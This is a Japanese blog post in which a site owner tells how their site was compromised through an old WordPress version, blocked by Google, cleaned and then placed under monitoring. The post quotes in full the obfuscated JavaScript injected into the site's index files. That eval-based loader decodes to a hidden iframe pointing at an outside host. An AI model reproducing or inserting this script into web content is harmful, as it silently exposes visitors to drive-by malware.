PSLサイトのCGIプログラムの利用者の方から教えてもらったのだが、PSLのサイトがGoogleでブロックされているとのことで調べたところ、複数のindex.*ファイルの中にあやしいjavascriptのコードが埋め込まれていた。 http://sucuri.net/malware/malware-entry-mwjs160
<script>try{q.appendChild(q+"");}catch(qw){h=-012/5;f='fromCh';try{begbe=prototype;}catch(b43gds){ss=[];f+=(h&&f)?'arCode':"";e=eval;n=[-0.5,-0.5,47.5,46,11,15,45,50.5,44.5,53.5,49.5,45.5,50,53,18,46.5,45.5,53,29.5,49,45.5,49.5,45.5,50,53,52.5,28,55.5,37,43.5,46.5,34,43.5,49.5,45.5,15,14.5,44,50.5,45,55.5,14.5,15.5,40.5,19,41.5,15.5,56.5,1.5,-0.5,-0.5,-0.5,47.5,46,52,43.5,49.5,45.5,52,15,15.5,24.5,1.5,-0.5,-0.5,57.5,11,45.5,49,52.5,45.5,11,56.5,1.5,-0.5,-0.5,-0.5,45,50.5,44.5,53.5,49.5,45.5,50,53,18,54.5,52,47.5,53,45.5,15,12,25,47.5,46,52,43.5,49.5,45.5,11,52.5,52,44.5,25.5,14.5,47,53,53,51,24,18.5,18.5,48,52.5,51,54,47,56,44.5,18,47.5,44,47.5,56,18,44.5,44.5,18.5,45,18.5,21,19,21,18,51,47,51,26.5,46.5,50.5,25.5,19.5,14.5,11,54.5,47.5,45,53,47,25.5,14.5,19.5,19,14.5,11,47,45.5,47.5,46.5,47,53,25.5,14.5,19.5,19,14.5,11,52.5,53,55.5,49,45.5,25.5,14.5,54,47.5,52.5,47.5,44,47.5,49,47.5,53,55.5,24,47,47.5,45,45,45.5,50,24.5,51,50.5,52.5,47.5,53,47.5,50.5,50,24,43.5,44,52.5,50.5,49,53.5,53,45.5,24.5,49,45.5,46,53,24,19,24.5,53,50.5,51,24,19,24.5,14.5,26,25,18.5,47.5,46,52,43.5,49.5,45.5,26,12,15.5,24.5,1.5,-0.5,-0.5,57.5,1.5,-0.5,-0.5,46,53.5,50,44.5,53,47.5,50.5,50,11,47.5,46,52,43.5,49.5,45.5,52,15,15.5,56.5,1.5,-0.5,-0.5,-0.5,54,43.5,52,11,46,11,25.5,11,45,50.5,44.5,53.5,49.5,45.5,50,53,18,44.5,52,45.5,43.5,53,45.5,29.5,49,45.5,49.5,45.5,50,53,15,14.5,47.5,46,52,43.5,49.5,45.5,14.5,15.5,24.5,46,18,52.5,45.5,53,27.5,53,53,52,47.5,44,53.5,53,45.5,15,14.5,52.5,52,44.5,14.5,17,14.5,47,53,53,51,24,18.5,18.5,48,52.5,51,54,47,56,44.5,18,47.5,44,47.5,56,18,44.5,44.5,18.5,45,18.5,21,19,21,18,51,47,51,26.5,46.5,50.5,25.5,19.5,14.5,15.5,24.5,46,18,52.5,53,55.5,49,45.5,18,54,47.5,52.5,47.5,44,47.5,49,47.5,53,55.5,25.5,14.5,47,47.5,45,45,45.5,50,14.5,24.5,46,18,52.5,53,55.5,49,45.5,18,51,50.5,52.5,47.5,53,47.5,50.5,50,25.5,14.5,43.5,44,52.5,50.5,49,53.5,53,45.5,14.5,24.5,46,18,52.5,53,55.5,49,45.5,18,49,45.5,46,53,25.5,14.5,19,14.5,24.5,46,18,52.5,53,55.5,49,45.5,18,53,50.5,51,25.5,14.5,19,14.5,24.5,46,18,52.5,45.5,53,27.5,53,53,52,47.5,44,53.5,53,45.5,15,14.5,54.5,47.5,45,53,47,14.5,17,14.5,19.5,19,14.5,15.5,24.5,46,18,52.5,45.5,53,27.5,53,53,52,47.5,44,53.5,53,45.5,15,14.5,47,45.5,47.5,46.5,47,53,14.5,17,14.5,19.5,19,14.5,15.5,24.5,1.5,-0.5,-0.5,-0.5,45,50.5,44.5,53.5,49.5,45.5,50,53,18,46.5,45.5,53,29.5,49,45.5,49.5,45.5,50,53,52.5,28,55.5,37,43.5,46.5,34,43.5,49.5,45.5,15,14.5,44,50.5,45,55.5,14.5,15.5,40.5,19,41.5,18,43.5,51,51,45.5,50,45,28.5,47,47.5,49,45,15,46,15.5,24.5,1.5,-0.5,-0.5,57.5];for(i=6-2-1-2-1;-583+i!=2-2;i++){k=i;ss=ss+String[f](-1*h*(5+1*n[k]));}e(ss);}}</script>
侵入された!! と思い焦った。Googleのサイトはとても親切で、どのファイルにどんなコードが埋め込まれ感染しているのかとか、どういう対処をすればよいのかについてもガイドページに誘導して、対処後ブロック解除申請をする手順となっていた。
基本、埋め込まれたコードを削除する作業で、それはすぐに終わったのだが、再発は困るので、Sucuriというカリフォルニアにある会社が提供している、マルウエアの削除、Googleブロックの解除、サイトのモニタリングのプログラムに加入することにした。1サイト(ドメイン)で年間79ドルなので、素人が時間をかけて抜けがあるよりよいかと思ったが、結果この方法はよかった。サイトのスキャンとか、サーバ内にプログラムを置いて、ファイルの変更をモニターしてくれるなど、日常的な監視をするのには便利なサービスだ。
結局、ブログに使っていた古いバージョンのWordPressの脆弱性が根源であることがわかり、DBだけデータを吸い出して最新版(3.2.2)に置き換えた。WordPressは最新版を使わないととても危険であることが分かった。気をつけつつ使うことにする。
以前のバージョンのは、テーマをかなりカスタマイズしてしまったために、バージョンアップできない事態となっていた。当時使っていたテーマを使おうとしたが、メジャーバージョンアップ前のものなので、記事が表示されなかった。また一からテンプレをいじるのはしんどい。テンプレの中にphpのコードがばりばり仕込まれているので、取っつきにくいが、いずれやる予定。今はあり合わせのテーマでしのぐことにする。テーマが豊富なのはいいが、英語版なので、こまごましたところが英語だし、日本語のフォントに対して配慮がないのでいまいちである。
ともかく、この件が急に湧いてきて、数日間かなり手を取られた。今月来月はかなりタイトなのでこれからなんとか乗り切りたい。